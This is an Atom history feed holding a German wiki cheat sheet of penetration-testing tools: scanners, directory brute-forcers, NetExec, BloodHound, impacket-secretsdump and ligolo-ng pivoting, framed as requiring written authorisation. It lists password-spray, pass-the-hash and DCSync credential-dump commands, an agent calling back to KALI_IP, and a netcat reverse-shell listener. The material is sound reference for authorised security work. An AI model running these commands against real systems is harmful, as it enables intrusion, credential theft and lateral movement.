<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Pentest_Tools</id>
	<title>Pentest Tools - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Pentest_Tools"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Pentest_Tools&amp;action=history"/>
	<updated>2026-06-28T18:32:42Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=Pentest_Tools&amp;diff=70452&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „= Pentest Tools Übersicht =  Übersicht über gängige Werkzeuge für professionelle Penetrationstests. Alle Aktivitäten setzen einen schriftlichen Auftrag (…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Pentest_Tools&amp;diff=70452&amp;oldid=prev"/>
		<updated>2026-06-01T15:40:34Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „= Pentest Tools Übersicht =  Übersicht über gängige Werkzeuge für professionelle Penetrationstests. Alle Aktivitäten setzen einen schriftlichen Auftrag (…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;= Pentest Tools Übersicht =&lt;br /&gt;
&lt;br /&gt;
Übersicht über gängige Werkzeuge für professionelle Penetrationstests. Alle Aktivitäten setzen einen schriftlichen Auftrag (Rules of Engagement) voraus.&lt;br /&gt;
&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
== Voraussetzungen ==&lt;br /&gt;
&lt;br /&gt;
* Kali Linux oder Parrot OS (alle Tools im Repo)&lt;br /&gt;
* Schriftlicher Pentest-Auftrag / ROE&lt;br /&gt;
* Definierter Scope&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Tool-Installation (falls nicht vorhanden)&lt;br /&gt;
sudo apt update &amp;amp;&amp;amp; sudo apt install -y rustscan feroxbuster dirsearch whatweb netexec bloodhound-python impacket gowitness&lt;br /&gt;
pip install cloud-enum --break-system-packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reconnaissance ==&lt;br /&gt;
&lt;br /&gt;
=== RustScan (Ultra Fast Port Scanner) ===&lt;br /&gt;
&lt;br /&gt;
Moderner Hochgeschwindigkeits-Portscanner. Deutlich schneller als nmap alleine — scannt alle Ports vor und übergibt Treffer an nmap zur Analyse.&lt;br /&gt;
&lt;br /&gt;
; Installation&lt;br /&gt;
: In Kali enthalten, alternativ: &amp;lt;code&amp;gt;cargo install rustscan&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basis-Scan&lt;br /&gt;
rustscan -a target.com&lt;br /&gt;
&lt;br /&gt;
# Bestimmte Ports&lt;br /&gt;
rustscan -a target.com -p 22,80,443&lt;br /&gt;
&lt;br /&gt;
# Alle Ports (1-65535)&lt;br /&gt;
rustscan -a target.com -r 1-65535&lt;br /&gt;
&lt;br /&gt;
# Subnetz&lt;br /&gt;
rustscan -a 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
# Scan-Geschwindigkeit erhöhen (ulimit)&lt;br /&gt;
rustscan -a target.com --ulimit 5000&lt;br /&gt;
&lt;br /&gt;
# Direkt an nmap übergeben (Service-Detection)&lt;br /&gt;
rustscan -a target.com -- -sV&lt;br /&gt;
&lt;br /&gt;
# Ergebnisse speichern&lt;br /&gt;
rustscan -a target.com &amp;gt; rustscan_results.txt&lt;br /&gt;
&lt;br /&gt;
# Timeout anpassen (ms)&lt;br /&gt;
rustscan -a target.com -t 2000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Hinweis&lt;br /&gt;
: &amp;lt;code&amp;gt;--ulimit&amp;lt;/code&amp;gt; erhöht die Anzahl gleichzeitiger Verbindungen. Vorsicht auf instabilen Zielen — ggf. reduzieren.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== WhatWeb (Web Technology Fingerprinting) ===&lt;br /&gt;
&lt;br /&gt;
Identifiziert eingesetzte Technologien auf Webservern: CMS, Frameworks, Plugins, Softwareversionen. Nützlich zur Angriffsvektoranalyse.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basis-Scan&lt;br /&gt;
whatweb https://target.com&lt;br /&gt;
&lt;br /&gt;
# Mehrere Ziele aus Datei&lt;br /&gt;
whatweb -i targets.txt&lt;br /&gt;
&lt;br /&gt;
# Verbose-Output&lt;br /&gt;
whatweb -v https://target.com&lt;br /&gt;
&lt;br /&gt;
# Aggressiver Scan (Stufe 1-4, Standard ist 1)&lt;br /&gt;
whatweb -a 3 https://target.com&lt;br /&gt;
&lt;br /&gt;
# Ausgabe in Datei&lt;br /&gt;
whatweb https://target.com -o report.txt&lt;br /&gt;
&lt;br /&gt;
# Gezielt nach Plugin suchen&lt;br /&gt;
whatweb --plugins wordpress https://target.com&lt;br /&gt;
&lt;br /&gt;
# Subnetz scannen&lt;br /&gt;
whatweb 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
# Hilfe&lt;br /&gt;
whatweb --help&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Aggressionsstufen&lt;br /&gt;
: 1 = passiv (Standard), 3 = aktiv mit mehr Requests, 4 = sehr aggressiv&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Gowitness (Web Screenshot Recon) ===&lt;br /&gt;
&lt;br /&gt;
Erstellt automatisch Screenshots von Weboberflächen. Praktisch bei großen Scopes um Login-Panels, Dashboards und exponierte Interfaces schnell zu identifizieren.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Einzelner Host&lt;br /&gt;
gowitness single https://target.com&lt;br /&gt;
&lt;br /&gt;
# Mehrere Hosts aus Datei&lt;br /&gt;
gowitness file -f targets.txt&lt;br /&gt;
&lt;br /&gt;
# Screenshots in Verzeichnis speichern&lt;br /&gt;
gowitness file -f targets.txt -P screenshots/&lt;br /&gt;
&lt;br /&gt;
# Mit Timeout (Sekunden)&lt;br /&gt;
gowitness single https://target.com --timeout 10&lt;br /&gt;
&lt;br /&gt;
# HTTP und HTTPS erfassen&lt;br /&gt;
gowitness file -f targets.txt --disable-tls&lt;br /&gt;
&lt;br /&gt;
# Auflösung setzen&lt;br /&gt;
gowitness single https://target.com --resolution-x 1920 --resolution-y 1080&lt;br /&gt;
&lt;br /&gt;
# Datenbank speichern&lt;br /&gt;
gowitness file -f targets.txt --db-path gowitness.db&lt;br /&gt;
&lt;br /&gt;
# HTML-Report generieren&lt;br /&gt;
gowitness report generate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Cloud_enum (Cloud Asset Discovery) ===&lt;br /&gt;
&lt;br /&gt;
Findet exponierte Cloud-Ressourcen bei AWS, Azure und Google Cloud — öffentlich erreichbare Storage-Buckets, Services und Infrastruktur.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basis-Enumeration&lt;br /&gt;
cloud_enum -k target&lt;br /&gt;
&lt;br /&gt;
# Nur AWS&lt;br /&gt;
cloud_enum -k target --cloud aws&lt;br /&gt;
&lt;br /&gt;
# Nur Azure&lt;br /&gt;
cloud_enum -k target --cloud azure&lt;br /&gt;
&lt;br /&gt;
# Ausgabe in Datei&lt;br /&gt;
cloud_enum -k target -o results.txt&lt;br /&gt;
&lt;br /&gt;
# Mehrere Keywords aus Datei&lt;br /&gt;
cloud_enum -kf keywords.txt&lt;br /&gt;
&lt;br /&gt;
# Verbose&lt;br /&gt;
cloud_enum -k target -v&lt;br /&gt;
&lt;br /&gt;
# Mit Threading&lt;br /&gt;
cloud_enum -k target -t 10&lt;br /&gt;
&lt;br /&gt;
# JSON-Output&lt;br /&gt;
cloud_enum -k target -o results.json -j&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Hinweis&lt;br /&gt;
: Als Keyword eignen sich Firmenname, Produktnamen, Subdomains — alles was als Bucket-Name auftauchen könnte.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Web Application Testing ==&lt;br /&gt;
&lt;br /&gt;
=== Dirsearch (Web Path Discovery) ===&lt;br /&gt;
&lt;br /&gt;
Findet versteckte Verzeichnisse und Dateien auf Webservern: Admin-Panels, Backup-Dateien, exponierte Endpoints.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basis-Scan&lt;br /&gt;
dirsearch -u https://target.com&lt;br /&gt;
&lt;br /&gt;
# Eigene Wordlist&lt;br /&gt;
dirsearch -u https://target.com -w wordlist.txt&lt;br /&gt;
&lt;br /&gt;
# Bestimmte Extensions&lt;br /&gt;
dirsearch -u https://target.com -e php,html,txt&lt;br /&gt;
&lt;br /&gt;
# Mehrere Ziele&lt;br /&gt;
dirsearch -l targets.txt&lt;br /&gt;
&lt;br /&gt;
# Ausgabe speichern&lt;br /&gt;
dirsearch -u https://target.com -o results.txt&lt;br /&gt;
&lt;br /&gt;
# Thread-Anzahl&lt;br /&gt;
dirsearch -u https://target.com -t 50&lt;br /&gt;
&lt;br /&gt;
# Rekursiver Scan&lt;br /&gt;
dirsearch -u https://target.com -r&lt;br /&gt;
&lt;br /&gt;
# Silent Mode (nur Treffer)&lt;br /&gt;
dirsearch -u https://target.com -q&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Feroxbuster (Fast Content Discovery) ===&lt;br /&gt;
&lt;br /&gt;
Schnelle Alternative zu dirsearch, in Rust geschrieben. Gut für große Wordlists und rekursive Scans.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basis-Scan&lt;br /&gt;
feroxbuster -u https://target.com -w wordlist.txt&lt;br /&gt;
&lt;br /&gt;
# Rekursiv&lt;br /&gt;
feroxbuster -u https://target.com -w wordlist.txt -r&lt;br /&gt;
&lt;br /&gt;
# Mit File-Extensions&lt;br /&gt;
feroxbuster -u https://target.com -w wordlist.txt -x php,html,txt&lt;br /&gt;
&lt;br /&gt;
# Ausgabe speichern&lt;br /&gt;
feroxbuster -u https://target.com -w wordlist.txt -o results.txt&lt;br /&gt;
&lt;br /&gt;
# Rate Limiting&lt;br /&gt;
feroxbuster -u https://target.com -w wordlist.txt --rate-limit 50&lt;br /&gt;
&lt;br /&gt;
# Thread-Anzahl&lt;br /&gt;
feroxbuster -u https://target.com -w wordlist.txt -t 50&lt;br /&gt;
&lt;br /&gt;
# Keine Rekursion&lt;br /&gt;
feroxbuster -u https://target.com -w wordlist.txt -n&lt;br /&gt;
&lt;br /&gt;
# Silent Mode&lt;br /&gt;
feroxbuster -u https://target.com -w wordlist.txt -q&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Wordlists&lt;br /&gt;
: &amp;lt;code&amp;gt;/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&amp;lt;/code&amp;gt; ist ein guter Startpunkt.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Internal Network / Active Directory ==&lt;br /&gt;
&lt;br /&gt;
=== NetExec (Network Exploitation Tool) ===&lt;br /&gt;
&lt;br /&gt;
Moderner Nachfolger von CrackMapExec. Analysiert SMB, WinRM, SSH und weitere Dienste. Zentral für interne Netzwerktests und Active Directory Enumeration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SMB-Dienst scannen&lt;br /&gt;
netexec smb target.com&lt;br /&gt;
&lt;br /&gt;
# Subnetz scannen&lt;br /&gt;
netexec smb 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
# Benutzer enumerieren (Guest-Login)&lt;br /&gt;
netexec smb target.com -u guest -p &amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Mit Credentials authentifizieren&lt;br /&gt;
netexec smb target.com -u admin -p password&lt;br /&gt;
&lt;br /&gt;
# Befehl ausführen&lt;br /&gt;
netexec smb target.com -u admin -p password -x whoami&lt;br /&gt;
&lt;br /&gt;
# WinRM prüfen&lt;br /&gt;
netexec winrm target.com&lt;br /&gt;
&lt;br /&gt;
# SSH prüfen&lt;br /&gt;
netexec ssh target.com&lt;br /&gt;
&lt;br /&gt;
# Shares auflisten&lt;br /&gt;
netexec smb target.com --shares&lt;br /&gt;
&lt;br /&gt;
# Passwort-Spray (Vorsicht: Lockout-Policy beachten!)&lt;br /&gt;
netexec smb 192.168.1.0/24 -u users.txt -p 'Winter2024!'&lt;br /&gt;
&lt;br /&gt;
# Hash-Authentication (Pass-the-Hash)&lt;br /&gt;
netexec smb target.com -u admin -H NTLMHASH&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Wichtig&lt;br /&gt;
: Vor Passwort-Spray immer Lockout-Policy prüfen. Im Zweifel: lieber nicht.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== BloodHound (Active Directory Enumeration) ===&lt;br /&gt;
&lt;br /&gt;
Sammelt AD-Informationen und visualisiert Beziehungen zwischen Benutzern, Systemen und Berechtigungen. Zeigt Privilege-Escalation-Pfade im Graphen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Alle Daten sammeln&lt;br /&gt;
bloodhound-python -d domain.local -u user -p password -c all&lt;br /&gt;
&lt;br /&gt;
# Nur Session-Daten&lt;br /&gt;
bloodhound-python -d domain.local -u user -p password -c session&lt;br /&gt;
&lt;br /&gt;
# Mit eigenem DNS-Server&lt;br /&gt;
bloodhound-python -d domain.local -u user -p password -ns 192.168.1.10&lt;br /&gt;
&lt;br /&gt;
# Ausgabe in Verzeichnis&lt;br /&gt;
bloodhound-python -d domain.local -u user -p password -c all -o output/&lt;br /&gt;
&lt;br /&gt;
# Hash-Authentifizierung&lt;br /&gt;
bloodhound-python -d domain.local -u user --hashes LM:NT&lt;br /&gt;
&lt;br /&gt;
# Nur Gruppen&lt;br /&gt;
bloodhound-python -d domain.local -u user -p password -c group&lt;br /&gt;
&lt;br /&gt;
# Nur Computer&lt;br /&gt;
bloodhound-python -d domain.local -u user -p password -c computer&lt;br /&gt;
&lt;br /&gt;
# LDAPS verwenden&lt;br /&gt;
bloodhound-python -d domain.local -u user -p password --use-ldaps&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Workflow&lt;br /&gt;
: 1. bloodhound-python → JSON-Dateien generieren&lt;br /&gt;
: 2. Neo4j starten: &amp;lt;code&amp;gt;sudo neo4j start&amp;lt;/code&amp;gt;&lt;br /&gt;
: 3. BloodHound GUI starten, JSON-Dateien importieren&lt;br /&gt;
: 4. Vordefinierte Queries nutzen: &amp;quot;Shortest Paths to Domain Admin&amp;quot;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Impacket-secretsdump (Credential Extraction) ===&lt;br /&gt;
&lt;br /&gt;
Extrahiert Credentials, Passwort-Hashes und Authentifizierungsdaten aus Windows-Systemen. Für AD-Assessments und Credential-Exposure-Analyse.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Remote Credential Dump&lt;br /&gt;
impacket-secretsdump user:password@target.com&lt;br /&gt;
&lt;br /&gt;
# NTLM-Authentifizierung mit Domain&lt;br /&gt;
impacket-secretsdump domain/user:password@target.com&lt;br /&gt;
&lt;br /&gt;
# Per IP-Adresse&lt;br /&gt;
impacket-secretsdump user:password@192.168.1.10&lt;br /&gt;
&lt;br /&gt;
# Ausgabe in Datei&lt;br /&gt;
impacket-secretsdump user:password@target.com &amp;gt; hashes.txt&lt;br /&gt;
&lt;br /&gt;
# Hash-Authentifizierung (Pass-the-Hash)&lt;br /&gt;
impacket-secretsdump -hashes LMHASH:NTHASH user@target.com&lt;br /&gt;
&lt;br /&gt;
# Lokale SAM-Datenbank (offline, mit Registry-Hives)&lt;br /&gt;
impacket-secretsdump -sam SAM -system SYSTEM LOCAL&lt;br /&gt;
&lt;br /&gt;
# Domain Controller (DCSync)&lt;br /&gt;
impacket-secretsdump domain/user:password@dc.domain.local&lt;br /&gt;
&lt;br /&gt;
# Debug-Mode&lt;br /&gt;
impacket-secretsdump -debug user:password@target.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Hinweis DCSync&lt;br /&gt;
: Erfordert Replikationsrechte (Domain Admin oder delegiert). Zieht alle Hashes vom DC ohne direkten Zugriff auf NTDS.dit.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting und Tunneling ==&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng (Advanced Pivoting Tool) ===&lt;br /&gt;
&lt;br /&gt;
Modernes Pivoting-Tool für interne Netzwerke. Erstellt eine transparente Netzwerkverbindung über einen kompromittierten Host — ohne SOCKS-Proxy, direkt über ein tun-Interface. Deutlich komfortabler als klassisches SSH-Tunneling oder Chisel.&lt;br /&gt;
&lt;br /&gt;
==== Konzept ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Angreifer (Kali) ──[ligolo-proxy]──► Pivot-Host ──[ligolo-agent]──► internes Netz&lt;br /&gt;
                                     (DMZ)                           (192.168.10.0/24)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der Proxy läuft auf dem Angreifer-System, der Agent auf dem kompromittierten Host. Nach dem Verbindungsaufbau routet Kali Traffic transparent ins interne Netz.&lt;br /&gt;
&lt;br /&gt;
==== Lab-Setup ====&lt;br /&gt;
&lt;br /&gt;
; Voraussetzung&lt;br /&gt;
: Zwei Netzsegmente in Proxmox/VirtualBox:&lt;br /&gt;
:* &amp;lt;code&amp;gt;vmbr1&amp;lt;/code&amp;gt; — DMZ-Netz (z.B. 10.10.10.0/24), Kali und Pivot-Host&lt;br /&gt;
:* &amp;lt;code&amp;gt;vmbr2&amp;lt;/code&amp;gt; — internes Netz (z.B. 192.168.10.0/24), nur Pivot-Host und Ziele&lt;br /&gt;
&lt;br /&gt;
==== Schritt 1: Binaries herunterladen ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Auf Kali (Angreifer)&lt;br /&gt;
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64&lt;br /&gt;
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_linux_amd64&lt;br /&gt;
chmod +x ligolo-ng_proxy_linux_amd64 ligolo-ng_agent_linux_amd64&lt;br /&gt;
mv ligolo-ng_proxy_linux_amd64 ligolo-proxy&lt;br /&gt;
mv ligolo-ng_agent_linux_amd64 ligolo-agent&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Windows-Agent (für Windows-Pivot-Hosts)&lt;br /&gt;
: &amp;lt;code&amp;gt;ligolo-ng_agent_windows_amd64.exe&amp;lt;/code&amp;gt; vom gleichen Release&lt;br /&gt;
&lt;br /&gt;
==== Schritt 2: tun-Interface erstellen (Kali) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Einmalig — tun-Interface anlegen&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Schritt 3: Proxy starten (Kali) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Self-signed Cert (für Lab ausreichend)&lt;br /&gt;
./ligolo-proxy -selfcert&lt;br /&gt;
&lt;br /&gt;
# Lauscht auf Port 11601 (default)&lt;br /&gt;
# Eigenes Zertifikat&lt;br /&gt;
./ligolo-proxy -certfile cert.pem -keyfile key.pem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Schritt 4: Agent auf Pivot-Host starten ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Agent auf dem kompromittierten Host ausführen&lt;br /&gt;
# (Binary vorher übertragen per scp/wget/curl)&lt;br /&gt;
./ligolo-agent -connect KALI_IP:11601 -ignore-cert&lt;br /&gt;
&lt;br /&gt;
# Windows&lt;br /&gt;
.\ligolo-agent.exe -connect KALI_IP:11601 -ignore-cert&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Schritt 5: Tunnel aufbauen (Proxy-Shell) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
# In der ligolo-proxy Shell:&lt;br /&gt;
&lt;br /&gt;
ligolo-ng » session&lt;br /&gt;
# → verbundene Agents anzeigen, Nummer eingeben&lt;br /&gt;
&lt;br /&gt;
ligolo-ng » ifconfig&lt;br /&gt;
# → Netzwerkinterfaces des Pivot-Hosts anzeigen&lt;br /&gt;
# → internes Netz identifizieren (z.B. 192.168.10.0/24)&lt;br /&gt;
&lt;br /&gt;
ligolo-ng » tunnel_start&lt;br /&gt;
# → Tunnel aktiv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Schritt 6: Route auf Kali setzen ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Internes Netz über ligolo-Interface routen&lt;br /&gt;
sudo ip route add 192.168.10.0/24 dev ligolo&lt;br /&gt;
&lt;br /&gt;
# Prüfen&lt;br /&gt;
ip route show | grep ligolo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Schritt 7: Internes Netz scannen ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Ab jetzt direkt aus Kali — kein Proxy-Chain nötig&lt;br /&gt;
nmap -sT -p 1-1000 192.168.10.0/24&lt;br /&gt;
rustscan -a 192.168.10.0/24&lt;br /&gt;
netexec smb 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tunnel beenden ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
ligolo-ng » tunnel_stop&lt;br /&gt;
ligolo-ng » exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Route entfernen&lt;br /&gt;
sudo ip route del 192.168.10.0/24 dev ligolo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Listener (Reverse Shells durch den Tunnel) ====&lt;br /&gt;
&lt;br /&gt;
Wenn eine Reverse Shell aus dem internen Netz zu Kali zurückkommen soll:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
# In der Proxy-Shell einen Listener definieren&lt;br /&gt;
ligolo-ng » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444&lt;br /&gt;
&lt;br /&gt;
# Payload auf internem Ziel: Connect zu PIVOT_HOST:4444&lt;br /&gt;
# Ligolo leitet weiter zu Kali:4444&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Kali: netcat lauscht&lt;br /&gt;
nc -lvnp 4444&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Typischer Workflow ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
1. Scope definieren, ROE unterschrieben&lt;br /&gt;
&lt;br /&gt;
2. Recon extern&lt;br /&gt;
   rustscan → offene Ports&lt;br /&gt;
   whatweb   → Technologie-Fingerprint&lt;br /&gt;
   cloud_enum → Cloud-Assets&lt;br /&gt;
&lt;br /&gt;
3. Web Application&lt;br /&gt;
   dirsearch / feroxbuster → versteckte Pfade&lt;br /&gt;
   gowitness → visuelle Übersicht bei vielen Hosts&lt;br /&gt;
&lt;br /&gt;
4. Foothold&lt;br /&gt;
   netexec smb → SMB-Enumeration, Shares&lt;br /&gt;
   impacket-secretsdump → Credential Dump nach Zugriff&lt;br /&gt;
&lt;br /&gt;
5. Internal&lt;br /&gt;
   bloodhound-python → AD-Mapping&lt;br /&gt;
   netexec → lateral movement&lt;br /&gt;
&lt;br /&gt;
6. Pivoting (bei Segmentierung)&lt;br /&gt;
   ligolo-ng → Tunnel ins interne Netz&lt;br /&gt;
   → Tools laufen dann direkt gegen interne Ziele&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Siehe auch ==&lt;br /&gt;
&lt;br /&gt;
* [[Kali Linux Grundlagen]]&lt;br /&gt;
* [[Nmap Cheatsheet]]&lt;br /&gt;
* [[Active Directory Angriffe]]&lt;br /&gt;
* [[Faraday SIEM Integration]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Pentest]]&lt;br /&gt;
[[Kategorie:Tools]]&lt;br /&gt;
[[Kategorie:Kali Linux]]&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>